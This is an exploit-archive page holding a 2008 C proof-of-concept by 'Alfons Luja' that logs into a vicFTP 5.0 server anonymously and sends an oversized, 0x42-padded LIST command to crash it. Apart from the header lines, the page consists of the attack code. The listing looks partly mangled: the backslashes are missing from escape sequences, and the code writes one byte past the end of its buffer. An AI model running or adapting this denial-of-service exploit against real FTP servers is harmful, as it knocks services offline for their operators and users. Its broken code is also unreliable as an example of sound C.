[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : vicFTP 5.0 (LIST) Remote Denial of Service Exploit
# Published : 2008-10-24
# Author : Alfons Luja
# Previous Title : KVIrc 3.4.0 Virgo Remote Format String Exploit PoC
# Next Title : SilverSHielD 1.0.2.34 (opendir) Denial of Service Exploit
#include <cstdio>
#include <winsock2.h>
#include <memory.h>
#define __z00ro(a) memset(a,0,sizeof(a));
//greetings : SiD.psycho
//Smallest greetings : Gorion - lofamy cIem We want be like y0U :***
unsigned int setport(const char* port){
if((atoi(port)==0) || (atoi(port)<0)){
return 21;
}
return atoi(port);
}
int main(int argc,char **argv){
printf("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++n"
"+=========== vicFTPS v 5.0 REMOTE dos POC ;[ ===========+n"
"+=========== Alfons Luja sp Z.0.0 ===========+n"
"+=========== I want clear b00f not a d0s !!! ===========+n"
"+=========== Propably 0 dAy ===========+n"
"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++n");
if(argc<3){
printf("nuse poc.exe IP PORTn");
return 0;
}
int socks;
hostent *host;
WSADATA WSA;
SOCKADDR_IN aip;
char recvs[666]={0}; //ave
char test[66]={0}; // 4 nothing
const char *login = "USER Anonymousrn";
const char *pass = "PASS echo@gov.trrn";
strcpy(test,"LIST /\/iWana_be_like_Gorion\");
memset(test+strlen("LIST /\/iWana_be_like_Gorion\"),0x42,sizeof(test));
test[sizeof(test)-2]='r';
test[sizeof(test)-1]='n';
test[sizeof(test)]=' ';
printf("nTarget:%snPort:%un",argv[1],setport(argv[2]));
if((WSAStartup(MAKEWORD(4, 2), &WSA))==0){
if((socks = socket(AF_INET,SOCK_STREAM,0)) != -1){
aip.sin_family = AF_INET;
aip.sin_addr.s_addr = inet_addr(argv[1]);
aip.sin_port = htons(setport(argv[2]));
memset(&(aip.sin_zero),'0',8);
if(connect(socks,(struct sockaddr*)&aip,sizeof(struct sockaddr)) == 0){
recv(socks,recvs,sizeof(recvs)-1,0);
__z00ro(recvs);
send(socks,login,strlen(login),0);
recv(socks,recvs,sizeof(recvs)-1,0);
__z00ro(recvs);
send(socks,pass,strlen(pass),0);
recv(socks,recvs,sizeof(recvs)-1,0);
printf("%s",recvs);
if(!strncmp(recvs,"230 fake user logged in.",3)){
printf("Send greeting!!n");
__z00ro(recvs);
send(socks,test,sizeof(test),0);
recv(socks,recvs,sizeof(recvs)-1,0);
Sleep(200);
printf("Server is charmed and died happy!!n");
}
else{
printf("Target dont love us . You must have account :[rn");
closesocket(socks);
WSACleanup();
return 0;
}
}
else {
printf("(__eRROR):[Connection error](!!!!)n"
"It can be bad port number or IP addresss!n");
closesocket(socks);
WSACleanup();
return 0;
}
}
WSACleanup();
}
return 0;
}
//~~@KND http://pl.youtube.com/watch?v=KvFAx3ArmlE ~@~
// www.Syue.com [2008-10-24]